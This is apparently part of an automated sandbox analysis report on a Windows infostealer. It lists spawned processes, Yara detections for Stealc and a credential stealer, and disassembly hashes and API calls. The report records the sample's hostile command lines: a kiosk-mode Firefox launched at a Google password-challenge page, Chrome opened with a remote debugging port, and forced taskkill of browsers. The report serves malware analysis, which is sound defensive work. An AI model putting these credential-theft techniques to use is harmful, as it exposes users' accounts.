Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:28:54
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8933ed6b-7c20-48c8-85a4-b2c0216a6aa6} 1976 "\\.\pipe\gecko-crash-server-pipe.1976" 2ae9bf6f110 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	07:28:56
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe"
Imagebase:	0xb30000
File size:	1'827'328 bytes
MD5 hash:	AE317D18BC4CA2596E61445E70CBC6DB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2792453107.00000000053E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3024103776.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3028269979.000000000181B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	07:28:56
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3440 -parentBuildID 20230927232528 -prefsHandle 4180 -prefMapHandle 4176 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2540b340-fb7a-4163-990f-769b33af6a3c} 1976 "\\.\pipe\gecko-crash-server-pipe.1976" 2aeae42fa10 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	07:28:59
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe"
Imagebase:	0xca0000
File size:	2'810'880 bytes
MD5 hash:	24160B98357772CFF1F5E82F48BF18BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	07:29:00
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1608
Imagebase:	0x5a0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	07:29:05
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe"
Imagebase:	0x5e0000
File size:	922'624 bytes
MD5 hash:	102B6FB97B941E26C4B49DE445AEDBD7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	07:29:06
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	07:29:06
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	07:29:14
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe"
Imagebase:	0xca0000
File size:	2'810'880 bytes
MD5 hash:	24160B98357772CFF1F5E82F48BF18BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	07:29:23
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe"
Imagebase:	0xaf0000
File size:	1'852'416 bytes
MD5 hash:	44EB876D74E66BC5879D4AC1B636EAF1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3286319983.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3137630171.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3286685610.00000000012DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3260782944.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3226916618.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3149464841.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3178273686.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	07:29:26
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	07:29:29
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2564,i,10375856777782342595,11101755798291290968,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	07:29:31
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe"
Imagebase:	0xb30000
File size:	1'827'328 bytes
MD5 hash:	AE317D18BC4CA2596E61445E70CBC6DB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000002.3256054300.00000000014CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000003.3148075387.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000002.3237758064.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	07:29:40
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe"
Imagebase:	0x5e0000
File size:	922'624 bytes
MD5 hash:	102B6FB97B941E26C4B49DE445AEDBD7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	07:29:40
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	07:29:40
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	07:29:45
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	07:29:45
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	07:29:45
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	07:29:45
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	07:29:46
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	07:29:46
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	07:29:46
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05200D56 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e18b2a63beab61af46677dc8e8436ddd239274f21eb68cf9b37d338a6c8fb2ec
Instruction ID: ec96fe561ac1c1217750c8d7717c82a75d3b7fe39d59e34db5544e14cdcacee9
Opcode Fuzzy Hash: e18b2a63beab61af46677dc8e8436ddd239274f21eb68cf9b37d338a6c8fb2ec
Instruction Fuzzy Hash: FE0124EB53E110FD3342D451271CBB63A2BEDD61303B0681AF40BE5A83E2C51E125072

Function 05200D65 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d38d98597c3eef5a776ce3c4a5e0f2e7d7d7a1b71e22b86f81cc8b0119e2cde5
Instruction ID: c48522c473c11878205d3878a3c60c2fbfa889115ee742a19d32ae2e939fec71
Opcode Fuzzy Hash: d38d98597c3eef5a776ce3c4a5e0f2e7d7d7a1b71e22b86f81cc8b0119e2cde5
Instruction Fuzzy Hash: D5218A9A57E290BEF342D2A4171CBF63F2BEE87530360645AE446DA5C3E2C15A074172

Function 05200D13 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a48769e5df475612e623e94eec233b809117c99d85aa46aa9eb2bd31d74fd7d
Instruction ID: 5a65bbada53d8b7a0a8cc2c83b116c53a7463ac3879c1fe61fd090774ddf2b88
Opcode Fuzzy Hash: 4a48769e5df475612e623e94eec233b809117c99d85aa46aa9eb2bd31d74fd7d
Instruction Fuzzy Hash: EF2125DE57E150BEB3438050175CBF63B5BED971303A06846E40ADA6C3D6865A475172

Function 05200D1A Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 534f2c72b396cf2b4a96ab2f223b0c85f27adb31308b5fd908ae736340aa8dc7
Instruction ID: bbb8ca6d1a5084dc5baa755d5d7d32c63135e387fb3f8dc44dcb940c9616a697
Opcode Fuzzy Hash: 534f2c72b396cf2b4a96ab2f223b0c85f27adb31308b5fd908ae736340aa8dc7
Instruction Fuzzy Hash: D82168EB53E250BEB302D1641B1CBF63B2FED97530360585AF407EA6C3D6D11A0641B2

Function 05200DA5 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d8bcf29ed4cec78ef966c7603bcc56ecd942ed76362d87445c1f041295974d9
Instruction ID: aa2a6b1cc5ccf8e01297a6fceaf7c0bad527c5acc3772faa19419e1a7c59a1cc
Opcode Fuzzy Hash: 9d8bcf29ed4cec78ef966c7603bcc56ecd942ed76362d87445c1f041295974d9
Instruction Fuzzy Hash: 640164EB13E010FD7342D5916B4CBF33A6BED862303B0680AB00BE5AC3A2D05A028072

Function 05200DBF Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f3401eb85823eed186165ff1fba0280a2d07f632391d3f7deb2bb9e7786958c
Instruction ID: 4eb8b4f567f9fc3f89878b2e3451096e71740407757b875ce10062af6aeb15b0
Opcode Fuzzy Hash: 1f3401eb85823eed186165ff1fba0280a2d07f632391d3f7deb2bb9e7786958c
Instruction Fuzzy Hash: 6AF044E767E010BD7342C4900B4DBF63B5BECD6430360A80AB007E96C3E2C64B064171

Function 05200DDB Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e039c3aa6d14a9964323ac0979d7b5959d964b9d3930d5e028b7d2a2bb6e20b
Instruction ID: ddb40bf4fb54183178bd9b9a9b4aff77010846ba9ee9eaa597905ae35b81fe00
Opcode Fuzzy Hash: 5e039c3aa6d14a9964323ac0979d7b5959d964b9d3930d5e028b7d2a2bb6e20b
Instruction Fuzzy Hash: D9F0B4D757F050BC7351D4911B0EBF63A1FE8D65313A46D2AF507A49C3A2C54A1A4072

Function 05200DF4 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd99b3b97117d929b2d6df2c71b04d5f49ffd3548c35b51633b44497257d83ab
Instruction ID: c7209379ada4c41613d765df0f5976cb16e55f5c1d68c61cce2e45ef8bfcb2a8
Opcode Fuzzy Hash: dd99b3b97117d929b2d6df2c71b04d5f49ffd3548c35b51633b44497257d83ab
Instruction Fuzzy Hash: 7DF0E2E7A3E020BD7350E4522B9D7F7365BECE65703B0681AE007A01C3A6C54A150071

Function 05200E26 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb50f6ae69af0e4bc60f675908ad07b47c21297b70206dcff59747946978f61
Instruction ID: 65b5c9d31bc4f20476ac0b9dccf838ed224c9f94a9dbfaaa90481612114ed26a
Opcode Fuzzy Hash: 2fb50f6ae69af0e4bc60f675908ad07b47c21297b70206dcff59747946978f61
Instruction Fuzzy Hash: E0E08CD6A7A010BD7391E4D2171E7B73A6BACAA4313F0280AE50BA45C36AD18A0150B2

Function 05200E39 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514c15349005b78edef54ff977d9124e176ec9db049f95366acdad89f3233732
Instruction ID: 0ceca4f53cc4163cb2616538f656e7aa6b31f3423881b4bb6b9ccb9de2a138a5
Opcode Fuzzy Hash: 514c15349005b78edef54ff977d9124e176ec9db049f95366acdad89f3233732
Instruction Fuzzy Hash: 5FE0CDC757A010BC7795DAA6474D7F73B1BECA74303B46D15E047A44C3BAC2471105B1

Function 05200E57 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a902506473b5aed10d91e403bcbe106097bff09b2356b8c978215d3e09135c1
Instruction ID: 808b4c5f9c0e46733ffca321cf5dd357190f2fd9f323f3ba7fd235cca16899a7
Opcode Fuzzy Hash: 3a902506473b5aed10d91e403bcbe106097bff09b2356b8c978215d3e09135c1
Instruction Fuzzy Hash: 0DD02ED287B020BD3360A0A14B8EBFB3A1FACE60303912804B08B208C36BD08A0200E2

Non-executed Functions

Function 05200750 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154933158.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad13099eb3f1bce5a7a161c9e8bf5acadbc654195f5cb75417949d7cdcd8be94
Instruction ID: e9ff3320abfa3acc60a83017a44abca478fcd6ec6d10f006496bb6b9a40fe7f0
Opcode Fuzzy Hash: ad13099eb3f1bce5a7a161c9e8bf5acadbc654195f5cb75417949d7cdcd8be94
Instruction Fuzzy Hash: DDF02DA71BE2106E7247C246675CBF67A6BF9C72703701036A007C66D3D1D80E0454B1

Analysis Process: 92f830ff9f.exePID: 5204, Parent PID: 6044COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7%
Total number of Nodes:	1539
Total number of Limit Nodes:	50

Executed Functions

Function 005E42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 005E430D

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

GetCurrentProcess.KERNEL32(?,0067CB64,00000000,?,?), ref: 005E4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 005E4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 005E4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 005E4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 005E4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 005E447B
GetSystemInfo.KERNEL32(?,?,?), ref: 005E44A0

Strings

GetNativeSystemInfo, xrefs: 005E4460
|O, xrefs: 006236F8
kernel32.dll, xrefs: 005E444F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 24937ed19702f929b80a7f563b3026ecc23dcc6fd55559186e9931d6c0edfa82
Instruction ID: 5cb65155926873ff61b3fc0082a406ae2abecca53917b86f6bb85c08fadbd97b
Opcode Fuzzy Hash: 24937ed19702f929b80a7f563b3026ecc23dcc6fd55559186e9931d6c0edfa82
Instruction Fuzzy Hash: 77A1A3E191A7E0EFCB15C76978601D97FE77B27300B986AA9D0819BB61F32445C4CF21

Function 005E42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,005E50AA,?,?,00000000,00000000), ref: 005E42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,005E50AA,?,?,00000000,00000000), ref: 005E42C9
LoadResource.KERNEL32(?,00000000,?,?,005E50AA,?,?,00000000,00000000,?,?,?,?,?,?,005E4F20), ref: 006235BE
SizeofResource.KERNEL32(?,00000000,?,?,005E50AA,?,?,00000000,00000000,?,?,?,?,?,?,005E4F20), ref: 006235D3
LockResource.KERNEL32(005E50AA,?,?,005E50AA,?,?,00000000,00000000,?,?,?,?,?,?,005E4F20,?), ref: 006235E6

Strings

SCRIPT, xrefs: 005E42BF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: a08f016af2b7190d65674aa82800f431a7f28903de88e9d55b7e23b99919a7e0
Instruction ID: 4fae39fee2a30c21df7936778e3de57568f3e70623a59005b6ac67affc923c64
Opcode Fuzzy Hash: a08f016af2b7190d65674aa82800f431a7f28903de88e9d55b7e23b99919a7e0
Instruction Fuzzy Hash: 6111ACB4200700BFD7298B66DC48F277BBAEBC5B61F10816DB51696260DB71D8008A20

Function 00622BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 005E2B6B

Part of subcall function 005E3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,006B1418,?,005E2E7F,?,?,?,00000000), ref: 005E3A78

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,006A2224), ref: 00622C10
ShellExecuteW.SHELL32(00000000,?,?,006A2224), ref: 00622C17

Strings

runas, xrefs: 00622C0B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 77191844acd28670ee433e4a2b57d43ad3d917201750d084a69e87bbdfa880aa
Instruction ID: ff8f676dad41bb193fdae41299614d6eff7bbd1889c3a3e98b27ff4cf964722b
